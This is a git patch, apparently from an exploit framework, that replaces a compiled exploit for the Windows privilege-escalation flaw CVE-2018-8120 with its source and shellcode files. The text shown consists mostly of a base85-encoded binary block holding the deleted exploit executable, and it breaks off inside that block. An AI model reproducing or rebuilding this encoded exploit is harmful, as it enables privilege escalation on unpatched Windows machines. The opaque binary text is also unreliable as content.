From cdc2918c84dcd3725638d3d9fbfd0572e07c4593 Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Thu, 11 Oct 2018 11:42:51 -0500 Subject: [PATCH] removed original binary, added source --- data/exploits/CVE-2018-8120/CVE-2018-8120.exe | Bin 95744 -> 0 bytes .../exploits/CVE-2018-8120/CVE-2018-8120.sln | 28 + .../CVE-2018-8120/CVE-2018-8120.vcxproj | 154 ++++ .../CVE-2018-8120.vcxproj.filters | 27 + .../CVE-2018-8120/CVE-2018-8120/Source.cpp | 667 +++++++++++++++++ .../CVE-2018-8120/CVE-2018-8120/shellcode.asm | 70 ++ .../source/exploits/CVE-2018-8120/LICENSE | 674 ++++++++++++++++++ 7 files changed, 1620 insertions(+) delete mode 100644 data/exploits/CVE-2018-8120/CVE-2018-8120.exe create mode 100755 external/source/exploits/CVE-2018-8120/CVE-2018-8120.sln create mode 100755 external/source/exploits/CVE-2018-8120/CVE-2018-8120/CVE-2018-8120.vcxproj create mode 100755 external/source/exploits/CVE-2018-8120/CVE-2018-8120/CVE-2018-8120.vcxproj.filters create mode 100755 external/source/exploits/CVE-2018-8120/CVE-2018-8120/Source.cpp create mode 100755 external/source/exploits/CVE-2018-8120/CVE-2018-8120/shellcode.asm create mode 100755 external/source/exploits/CVE-2018-8120/LICENSE diff --git a/data/exploits/CVE-2018-8120/CVE-2018-8120.exe b/data/exploits/CVE-2018-8120/CVE-2018-8120.exe deleted file mode 100644 index 036dd38a1307ee9a5505822a095c2bee484a57f0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 95744 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%0ArEwM5#f#?;j`@|qwFLeNn(I_Jw7EZT2k~x z628rwIms?uQ`$G}#pJP-_^i~o9UB}g&@88t8|^j<<^~9k#5A?n{IO!n+sqk^tjy9G zQZ>&jGS5+&=g(@Sewn4?nE6?KDQmx1!d&@>y78KB^y#JhjL+E>DA3!|E~I5$oAFQC zh8U?E1v27!jEl8dk9Tjw1c-imj$DaLd5i?6oIM3KDMWxfxyrM+6y z*i6JeB51KUK4s-4ijMLDG+NSZP2>-deO3%eaKi|gP9*7W*)0|B2(nj{xJ+0a#Wz1q zLUx^`h~Qc&p)N6LIrJAcUa@?)ZvxfHRsW`%(G;+X0*qJLT{6Sum)xh5LBhWytXr)x z_Q|(bO2mB=F5Rr}?$t|Czg{)JmnrEpnoZ(4Bn}&|(oFN3 zOYJ(OQHYV5*cq8vY~hsZn@IZL+9E$VB+Gy~$Rjte`wRqHzCW~+0s>6xtdf0SExjy+ z0*M(luzGOIpt{QPs4qy1EmouUyl`!+KIJniTKu-!{|mJIqokbCFhgfcv)HUtIWb}= z>pNR~mT$HypZzi!M+|H0J`|Cc{W8Mrm$657a~b<(6|z@`%5_~kMomSEtYAz}zqx5B zbbD;%V_z5f)31wc?jLEFxLBgHyfb5KDnntt#A*Hje62}d=Ykf|RwrGBwpy##9)JK( z;$1fiF(Pe=MwC)oWS)Du5StYpV0FMaO5%q`tT>mXJy&LuVrH;>^EV2Dy>Ho(pO||; zU{V|I-4c$MbUUo}^bc)0EDw~};$T3gXhtSH!h`i%>@ia+&Lg91zaF3bCWbgu_#1@h zN$Nw*Cwism!Z(jFV$2xzZPZVHU~WgP6B|ktZHzT1A-;aB8|CcQMvsr*;c3F{IRJ-m{A!&O5Ipd*v|Jemcdf!FlktS^XUwUt^iI6+C zo>SqR8OuWfQn}cATt;w=z3eF(DHhY(`NDYA(#*4J z$`8@TmfWdJuiw<$4!NQB8)#j;3mZfCys(k~hW1>f%oBgh8NEVua(cK%VtYbm%+^w( z+SO>|s`ACNiX9BHd>-D6z1SZ2BlP)9CzU6P&2Q)05Z`8z@h};Ub_@!$a{zM!`^j`l zFfz*?{p;{zQ0sH1Uvo0HK7Y{YjzE01`{IWV$BNB|KDDg4-(lwG3QPS^^>kURYV4op z(#u0PU>%UOA0@xGGv*$rs$|GhXn|MkZX)ePoUtRugwb85a&=*Q9CeUOp6%p9@yz0DngS);AqKa9Qol8dqjgEu69(BeBo5xW!JAj__PlG)nug4$tmhVv> zF?r^2(8h>wQuBj}En-suMgX_@>|$Z(`Mu99th}|^iVm!9dRJ@OLeTQv061(M zM&Mpp-l{#-S;t$5&;06UOKTc1Kulz&q;LKWHLcbnFok)bZOhhLT|3YvP4_v3r1xHnNzaJ&P0NF)yDJ0 zdo16V>y*&fbe7bPNyT_GSo(%*Z>Vxn$$age-{lKUekh>@(Rr%q>SVQZGY#@GXa!OS zM1%$;xTPYyMyV?^h!17TM|KmBqWMnko}Ii}RHZ!yrjS`~Q!nY-EDes*9Tb z7{EHHHWbwEdmi;NFPoymY-C!hY;{#_u_yv%b@PYOlayt{uqna3wtte@R=ZTG+G%tI zOE(9rI+lc)QhTv_uP%tl@&p$-FXD8}Gz!18kbbRTOUN6U3D*dAgxs(fmhv&|S3d=! zy3=0E_lbJTbe;TyKG7mKLGrN59?pRASQ0aE|8?T@z)g8Z;`kGNudE zLx$e_cVw8bQP`(u9WzM$L5yxi$g;y)W4xyb{0xd*FP0qH6AFR;NP3bcGrg9V|zw~>up!shLgMBAth5oEjao__+PO{%%{aMwlXK57WG zy8>tqsb>Y=@MRu-)0(^Jlj@;P$N%>pP6%pG(Z%?tyt;VrpqN&d7!`~^pC{zP=A8P} zB??rqvG1^Smc7aUx1D|ANxQS3LpA@cv)#b@b@rX`kgx=gU~i$@u`#Yl(M4dp0A)eWVcVtuHPuQH=;UFs{$ z9k7kLP|HtBHxmo_IfeG&Js}(-GtjPGS*9|Q&e;4!k;4&w z5-JtW4L|ua1z{2zEdCgws*hJaktVX^A40+ewIA$IMugYxe#2^lRc~r{9cKJfj{{Nk zrHZaLI#{7It-B&qsE859=G2c#Y55kbLXGxR3&A6^FtwZ@y2c#{j;Rln8Y7}-(tRcF z26}d73PcA58!k9bYkGtf<}XRx;TQwqnI*g?ic^mhUAk8UjHIl~qHbRFrcBm{N*-hZ z$Dc#i@toD;TG`$^R<=B{_QyX6)EL)$Y7A8MZ&uWle%TYuud6XWi5M8mQd;vH)EqRv zqq95M$R7b_s8$b9f%QD({?KsFx%uCI(tr#?VjZckz@ji(+gs z!gO9jM%H*1`kGz#l)@uRUdEfxl0`R~*HRQEV$dU{3SrQ|ouSpk9G|Essu$)Gu?Shd zH~uCGBPD*eeHTxV5su*o5G#xyve1s}+pqSu=op+$%s;(hS&g;D7K?PewgmHo zm?>(D_)!TkCaz;ziR9^+=8;F^%;LPESx0}_fC2XmRX+elWI)&DJmo)#w zlZ4Qy#aPoySWjS`Z&|C}W-|ADKGc=yNTWe0vDtlF86I37bK-1C$$pi4 zaHbU*Eh?E;mt+IY8g^7E+avBJMx%fp&5MnUcjhHjVDq$MXSzTu$~&N~V*3q`BSF02 zz4#bC$`6NU!gUGt8tzX|%1*dlB6!i)PjrOFdhu&zMxpoZsxjV*5H$-gUbfAdSo74@ zYKS+XycK+w8GHGTnD0U|<`3RwiRJ)60!K+K;%AsEiO8r~*Red7Z>gwxG>TVD^~3Rp zr6XUV5+=#rkFY>8%p|O=wZ92{aE8e0tos6+Sp5k&W&sgR;Kl2=$c?PK;c=Jcd6trV! zyl;W_gF+-Rtw|GUwl9eO1=+^?rfE&cagJp0=|6xHG@QSy=*zUGBu!r{?XT+8n!ZWi zc;A)LQSrX(wWgn{G__h28)uHx9@0SbBE5McsJpX-QB>&$_8BY<6E>U$JgBXIZ}5_0 zZG*@#EKN#=5eddjJxCy=Z5S^|j-*x-(v7jdIR$cn#T^>eEHl%M29^70;|6;D{ z!3R)6LdY3oO4icoRa&SwS9x{Q0j=rV)IjA7nXZM#Uakr|fCts7p^A~wle8y?h%3E$ zK}Z!&YhCPoDY1Gp;?0WJWW!4}J5)KRWSQ2y1dbZ)*&NWCCPJ;!7mpS{1S0ET+*d2t z2wwEmaRTkv%B<|?$#z;IsCye*iM=y`}Ezz1*Go|8vF|A34 zJKhIYULz(Md@NlJrn4Osbbl;U85>fewX-f%S;RRfW(Mn4w;YzS$NZOM-2jIZTz;g9 z=eUDe9aN4S!42XeS>4pLd}%Nl_SeN*XD4Ux5e@Qc!Q8d!1wpl=B`Ge+Bp!S)eNot$ ze1rtey!~qO3rEj~(Nrg|^b5+}b&2!Sd5QD0$V~l$Q50MSm2KEA&X`l8uXQwltLEDrk7cTx-NKMK*UX7;EMbuNHZ3vb0rcZ=n$a9p6EvP|v>P@?=SsZ(hB=*8u zmV3en_e$qI)DatGm+Y!GFpn%RPz0489E`trFj!>;wM#6{&4`~-^5;8+u<;?>a>`Z^ zf_2E+*}P?yTbR{}a)PNf3?n&+NZOj5S{CoET$$(E+yZrPOTQ#Ujo2Y2K&&Cg!fF@W zO7lUO0&~B)b!{2r5cO2Jw5G$toULuli56Gt69TcJb)l->STI9#Pm&>6)fasBH);?s z>60RZRbQ<WMFU3I4DYPDD4Uv9}CYw>X^qaRBrYL zwdYV)}K0r0~Z zJKEmkDAn>kqe_^&23BJ2S|{^@Ui8I|gBm5#hbKy+ANNnBrhTBID&|q61CE3ZMbS6~ zf3PB9S^q*-WQ3hjZEdNP30Yp9`rMApiw^)4Ia#6k&X4(2%5^e)NNZBW zRir9!t%TRc>OslMo3XJ5+5U&w*bD}fQikDR!?Ip5e;TwIZEaU`>&i29ra-+|X6B0( zD`39Fj10TJr2EZ1tJX&hVe)jTK0V>cJG%{tvjJR^vrSiRc^UlKEkB+%QG(#Hxo6qQ z((>pSyXAtgOv`^oRT)&(~&Y-C+9 zzASHIYzSHMC5x7tNg`n78Q6pztVc_oqhRK|x?olN(h>SPXVG1dHI3DN)27`u6sRnk zXbp^(8Yo%ov#i*JxU-lPd?`mi>bK5_oe(to@k*JxvPQHChu>+Xy~)WNr0>a9W^(c} zfu7j7GdF*4|Lmn2GE zAt|VVZbifK-czFASSRxc?2cb2(gH6d6*X72Y0YQY#d%UEWy(zz+b_9T%C_!^@j?u{1e@$VKnV(y^jU@yTj zLwp$6bQI&HJ3iP-=ULg43C(*}M!s$jHEi^S#brf%DrKup+EY8MZRY)qRQy7GC7buJ z`uDLLO9;ry-{RQva$71rf#QHLMTbUJfYl+Y z=9ih%C)m~2ByZ1)`QlY);GMyyn@lv_cv<;!Gn;qBs}QL|2?VxdH9Nn(0iW3i`49OW zl#Be%d_{hrFfuE@?}hAg@;kKo1?>7!CBCN^{CZn-pA#~=2nl1DFC?Ml_F3kc>=T)< z?iKp!%*gHy$nILxc?iBe(~ASx9X)?XOl`hfrU3?`+mY#UfQXOAhF!ZWn7k-Y{CQ6f z8!U!f5vO1K8>q*n7th|v&0FV1T=#U&YQo3QRfB;QPu*3>F&^f9a;o?P|5;Mw*gKlc zVPm5>_2Szbxw&m#jjO3mG6wMg#=G|s$&+cLY*aizIJEl0tgaw57P7U4mg*+p-^1P+P*pTR8yXziL>tV#J|4JRizD=VhLH<~ca?9B-#@9?X-K)>aE{V!X7bt7w{13s4PtK`q!0hL5NP#VY!; z=q>TSd0NwE70Rjua!MiIhdS_kvZThqM#DxmYx?sj0Ikt;vYNoDNdNFW^nhVMfk`P_ zeCfvBy{Y%$$AYn0sn>-w8)JVr%IQcw&wEywb}N1xHm-40S9M`rWnPNZ-zIgCrU*o8 zO&CZ;=+71{qUZt&V*N?I0_d2sj^vD<#-dS!$ID!#YW68=jCM0VJtKEVM^oNBI_OAi z!PV8hgs_ru=Fk?wQ{uBr+}+5TPt5z^7i{g zDS7)b^@6O`&{DspvO9(D%g>TUY&zOun)u3Z!Z#m1Xgl`e5ugRay)=;D@n4JA7 z8cI!i))9d_$hwxE95(J$!)rdYGbd%=XX{A*{vx)*TWXOEWKP6BR=BnaCH)Pd3?*DM zqCK1a(b2LcwT#z5v;gV4x;H(BVdCLaaRX{2~dYNuZ*h;#Fv4yIeQAY<- zDKlYULsgm9^d;j-dN#5`n_Xq84++MG1RJbx#V*LS?z~LPf{kDP2I$IDgUM$~vQl;P z8%nBfk*QUnBsi593#hrCIne5_DFYo{vzOk)|J3qV$6Q z5T)N$Qu59bA|-!El`!{FC<}pGnwyoPf3M)P`@gc&L@}4CHLUU)K^@v4}t(`T=Re9!|sTp<=n`q2kgW3BmRWs7h!c6r^m5=`Wm257Ov=#fa z>OuNU^YqZ_otoU3)lSO=%{mIs4$4R@RBaZ6v|1h;lL4HLYnh4C_-K=IP z!g33Tz8@6Hni+Vty%w?Jt^XrJtL=Qk#5UY-qzO=fv1xwdpHS>H8;_tH=qt z$Q~`-aOS+p{{Iwj>tKMgDqIa?el(~(xl=6>W~}W|~enXpriO z_y!-HK#W}ACUr;z#Rg>H(bdL{YMv-I-A8n_(Utmy=Zs{@Z<#zD)yV}V=JaIA{M3F0 zeOpP;D)X3NW`SeG=7`L@PKrGu^UhH+?{gi=tjs$nB_7@6^+$tzp90l4Sf$aE`93Q; zobNKNIcAsPNiE70ma4U1oT)421q>FXX4z4BsTsToM&`?x5^(3pn@G8IMByrR3Tez1 zcyz|n=*6V>RHO&QflCK0NUEE?(noOs4ulQ}o= zb#n7K>mtuGuWsbEa1J$3d$KL<5m$>t%oQ9cV)+AI{lw_)|C<~gSe=oh1FJ=jZng#5 z{}1KpDYhJ49$bAyjFy!+%$+(HTCrgwMGv(F=)YZPehz*Sq4)f+B6M!QX(4`k^?r^I zDkpk59&5a2{(T=i5HpMQ+U}mVyJDlvS9ZvVA@MrYQBEf01cs%jEfDpZ>lN%|VClEZ zt)4b#badhlPfuHs)|4Pp4EFK24r9kp%q-?yD6n|f$6}qIR{RIGQE`rWnvAWzxe*;= zj+KIb9u=I{|T>1JnrX51fIQmn~ZBH}B@m+=y0OCz8JB zyiP~YRD6_1!RB7z97mq{Jz9fT4idD?Oxbf-%@$jWGd)t-KE+U4MpEN>^A=Tc)mK_` z2Pw5DWhV}ers6+tJUZHM5i>&Is51xtukmNMBo2O#fTeC(M=3l~x^@MxwX-*WTv%W3+bZ!U5 za^QVQWnBk%{%|0DAnU^Qg$>tNG^`F*l&oqARsg9SG>F()p_c0-x=YD`5nAOI)h>{qTjhxH`w$E;&X#~KRehn zz!{y%wXD9=A1?DH19q*)78&|Z*@dx0PHTfdO!<1pUIg;Ij8aSxKPWQ zR;V2Q{j3r;a^jnz1u=#;Wt$T25VmB+Eti(uAsDSasNej?Jl!?6MO+Q+IxsJ_+AS>7 zo}1>;)|&;?r{?qKX`aU93`zI^8;3-aZ{lvV14o zeX5Kk%C#q352`qL!M*%Q|DFvNuQKS4Ll;YA@{j3ZP7Vc81lPA ziDhH#E~n0*B{pSWhB;L{%pNLfrGt1Nz)F|kUUElSjZupm#yd81R6aKB{p*Iau|het zjEOHR&X0{Wbbqq3>x)J2(c0TJE{+TQ#2Lk5R<`}yP4@`){l#a1UDRi((=20aJOfm| z$YA`a^9=Yfa4KkklA7_Gw~qz2D575Tu#AAQwX%|Pj>)^Ex#-eG%%a5~WW&s;eBiFI z!O2N%EBKp&=AefKL2Kf^31mmEH1kFhVGqZ_zf7?^E>X@HIJQzJt9t(QsFa*|Tpsb| z`5vwLQ{L8#onANM56dIIky`{JdA)k$7p;U>{JXL8`wmB|@$_E_#k7vNJmY*)zv8R0 zat*+2bfZMehG}CZG|(C=v{N?`lfJ#N@<;vRnkDXr#>!;BI9X8A7dKY^pkLhG68DY9 zN~kASp45;&wXyPvyd!ax<46x{tmNQvYiy8RFYR_1Ka%#U{W%&JL4qVBoKK9N zP&i5LWir?cD64eN&7TF7Glqig(*=J_iX->F7~u+8Qr+gG>y#j%+o7M@p?P-b9y_$q z4z099^>(P<4lT1oH>i-&Kx^%Y*>=Rk5|MPj^AL}!PO7UUegl(2T%{Y40M_V+u~rhv zrj%qI(`^lmjUvwmv<^A+iq}YIbbu+w<27WO`~nlCkR0YzJNwhEk{v&2gsGk8XpwNL zrrd?>6FrVn61?b~4jdA{5O)hnaot(4f4hWkq(2eNe!EtlBHbvIWzNf*qorU)>2m(3 z$b3Rc@%?--Y_Su6;d|(h_mO;j#CpvtB+X2&88DIc%P`=Xzfd*Fq=`;2yemkFTcdfV zO1h26k>z{Lv#E~z#GnN|KGS0*T>S?iK zoeYxs##S{%ae;JOnaFh@-bUaC1x{p#AT|WfR)8?3C*rN-U~J`K&SyI!gYrAcdsH86 zpBu9p+?ro*6R9eCEj+0j;m4Gn?1cMb7xFD~&>z;C@SVQm%ubRGd6-Pdi&gBIjr&3&F%rhu((f8>NdtsA+?^Ea<&)} zap7<`$QFT|MM2%h!J55F)<4x|duOka_UW~(cRDn${!Y}ZK3Vcjy_P*{7A0%R#dx=T zqF3!+TrFN&ZJ^CQk`tX2N#?V5Wy=+ZdLy%6$QUSRc3RSeO$$ZCy^JUBST0zsj0wWG zT+tGjs}hd&+f?VFa_3SaB%F@}5x#A~_^B{*p}t^;QxGh2enBLW7mjy$%0FzVIyp9! zV+tPzo;;b;1#AH0dvboz8Xz;aV6{tmTx(C33*ZHF!+B}|haCe47(k>vp3UgT0u6`# z(E)r9jQvK+7`S-``%7XnEbjraT9f#VHdJ9aZKxU;bCWgwiHhG$e2r8ZPFyH$3tIUl z%E7aIOIngyZ4FgdM=9gv*rcYdv9X+OLd2QoY^XSyVmRtESO$rWhWlEL?%k<$k;O{J z;l#}aSBv4s8h}>w!D?4iYczs;lxH$No0A7d17KsK_FSj=?j%8t6+I3D^{%G9?W*hK z%OD{=2*?29iIV=Z(&{mzUw$BwE zvz9}^zk*_gfd7uX1%V3}6_yF&YluuB5tUKk}S8NR`;r%;_Y~IkkWtl(Tm$%Xz?{gtk zxyw#K$Uez%kLQ{2o-Co^<`P7xj8SL~WypLIDNFczV8gpbO(^1fXl$r^t){11Uu`}MXiKhZ^c zIq&7wJlnDygY>5mC_hq*&i)R%&b~gW4IvEJ@CEa(e|)<0am2`9@N#UTe~o+4yvu z2Buv5*1Bj=m7uaqHVjg7^9Aznc*T${-+lx>l&ry`*)RPo_A7(du_(`!BDuv50HG;_ zY#M~{GiHqW;@Ba!i~u(P#m70J7u#o8EhPcirseahQl9RGgvA0gOPw;MysxNLFh4;E zwStO(iE=s57M6Hp)1gxWJW}6$sc&JfKJF<#Qs3rGebWEu;EB+?^yzW~2u0g}?MfT9k-F5iF ziA!J?Cv9&at(*yP_u=aZ?4o`!DM!KnWy8+y2b++E?Y3dV`oT`HVM+&bue0Hw_E0AW zTsDoTUd#6)LcCi2C8j-lABww|`N*N9*5&8Wq8YRn1eVdNe@O13()BX#H{8V)I2$KMQ{Si1kU#_<~U(iT3nFM}jG0prp+_@!+m_ms1_UV;#wfMHFW%Q;i}Er zU8u#p_l8RkN0O^N;kf0|?m~*fuJ(f2c80*Z!<>GdyI$=aRBhC?sk?O7F1>2k;-Qje zA8qFj284j)y|OqguxF)TtkaV@cJI=YV>s`F$?$u3svefn6m{kIQWXY{ zZtwfH4IHe1uS<#M`Sc~D;0NscNst_72^N&04^dv}s%9FsR(zIQ5AL;uyjahU$Y8Rf zj~%C2!C>@HY7ze^7e^P>Rkj=kUHq?p!W&x!qW_wMKbE>%b_tTO!Q@-J(+=~~)6v=$ z9DV#{2n4@}6{=4YMb=j}lRx1-iy-p5cZx(?;~pT9iXSWCg!csdaiab3^H4TR*4m6t zox2VI-P+hEN2^a-#F20Lg@*a%J;v_%`*~W^CfdeJ^alB=k*|62_g&G;;_v52&yK%8 zAUe|88l7aOa5>9J;#<+&(*X_={TyMQ=852+GAM?qpW0DB;*q|C@LhKJ4hi3E`Z@2E zxzJddA7wk7!#@uTdW@}+TK9_>@hZQWj}t9+PH}c=>&n+%8^z*j9u-{TmSlO%>Ew4f z>UcpKBl;w_UD@HGPDj=!W4`6P?hc_|PF`3}b*}+yz38iWvnMZcnWG;^H9_z5ly5P^ zVhRgBQ-mEOerWL0@}Tyc*O#0XG5$vkqvF0ZUXMQ_?|?nAOO3n5h{$Hh!VdL@Q9=PK z4exOJVeCeL^c(KMyt_K9cHeoXUb|J@jdJ(Hq(m0%^f;`IY=-*{@7oD9f)|B-J^EcH zPhtQ~DxgV^tVipiGOzJ~RA%7n{%YE-9yC$=-kDI3G*gSKEvtlTDjBrqVL-&OBca-s zauE~)t(PgV3?j?i6st}eLQJ0&39Ui1@hSfVjSieJu@qTm8;0o)cLz~K+T3HjEt>^| z_0dBtY-6B^__&uT0t6h64eM}k=3O#aJ_qPe`{IYbijC-SKbDJri*BO(kBT4qGB!+( z<@r0@Kg>XldHD^T9&^Z+AfjT{Ct3uz!;kG7*Hzgf&_tY^hm0{dsLm4*!;soI=e zS*Rzb=j(~P{drj62GB6=sn)s!e}Z@aRhFO9!>jX86#uApxhd#?o)j6wv0l2cI=`~T zsZOzP1)$jWF_vJNlj;sI*r@uIlm`2ZW`kQ=;@*(vq0VTE{f`^&Ffl82#PWTx+~HtP zP)WW`oYE8gg3|gHr`%oDR@J`vbM}!h$IGbRFIg^6pB&Pjoa)q`>`Z&Bwk;WAv~3O* z*844PD(k%cBRQR+3sxt@}b&c%;+P+}(IzhQeE7{>z~ zlLfD(u+ICXQF`){(UH=fJ$cUPpoW1(+=$`%ciP*N$K}Wk1N{UC{=217u#_&?te!AK zmSzs7Tiaq=(idXkqXhQhf5{GqKi)ffsfS{cQ~l|}poE4{N^)w~F=cQy7#MzWF{T(c z3uTD5n=k#!KAI{cXCFYiN`ej#b{1oar|g{zWn>dv@0Be#GXO-S@5c2c;`zMqdyw zbaMd?H}GY%STTuTNNvb2BRNll8+6sQe649e=wCOU!7~4>meajr)xw6*NxW{{ZMSb* z@``+hVTHy)@u5zwNH5ZchKsbKfL|LL^b;;4Tt+xRI6!z7;aP;|6P_P-brMxiR5wDI zZf%V{b#y`eRF+>)1pTtl_oCbtd=r(2j9%K&jKP(5d|%qZLh$-WVpSi=egAe;xatMA zNJc(PFB7VF-IlB8?oJZtY0Yl3_PC2!7MxmhFLBR_g`VQS!P2nCn3kV#zdo29h-sdL z`&C}p5|ep?boEb(ew9t(F-@G~hmXgtY@sswWW#@}cOmESp%4c^sFqlE)Widl4%t6bh-r7ih{xz}lR zYi&-eQ+nqeMvUFNieF0a#yW|hcQpTI=q_D~fj@RCDB1F%Bz!~mMYoxSq%}wVF}tFt z-Q^54CnuN-%IF!DW77ypVvbgJ>md7GkS=n?q7uKlXUG;71CZ#O?|}^AZ^Afm6MC}` ziLOV6C5D65HuDnha!!T77+0Pw`54T86jZBo*w|EAp*2;|&7kXJMD4QpSMJ3hB)?aj z$C}1X9(T*2a#DnQ9-=mj%qK$lpkJ&)k7Xj?VYCqbisgvApw~R12tITN-2QPHr%)xB z)$V>orJ7T6YM>%oa%!|PP_ft~_sH$V>SUJUwVY--mp@XHp!DQiu4W9h4 zt0P>xGscai8}kAc6Jju}X~(TQOlb`sPZns*%x_HnmX#8TDU~1f$5USJjbs;4Y*;u- zx=S&oq(}2|oV*nAGEiP{jCJ=m2`wp-3gHHob|sdub$>^p_S9yzP_as-q`JyUw-4k_ z+~z+Zriv{YS@h^`pQeG^=WF2BMUmu~0Av0YWBx3x%@J;UC%?wEEo|%#R-79RsJ?$g z`Ynq|2%n#lYOZ+=+T^)p6#fI%F1$2C#}!M0YS*izxxFikg4S@n%~Rt#7%u%d_Gb_+ z&2Icyb^rAE$N5~w_pvwXwRXnn`J{8{p7eZ@UtZ|>Bu!rE`J}^fSq1iI#)%;;oSB?_ z%6fZs4r#q|=SVV~7cPA@_OTGs1HJZUtlZZNvp(%1Vb;(qoSM(gdUosHz7)&Wk?^IA zsGV{49M~}!$hLTFESH-MHH&|5Sx+M#IJjM`cLTCg#_pti)(48uy0D;6$Q2tBF2{Z5yaV%Q+!D}i;lE7v5A$^+(&0-c^`8Kn`WO5i9`$haU0&0 zga1^)^Rw_D+3*!P_+1MA?k$=8O9Y;9uOLLti>Tb$3gdR5#J`8Bz;rPG|2#?Pf$zB*8721jDfdWD>C4?X=Sv-U|S8?{@~m 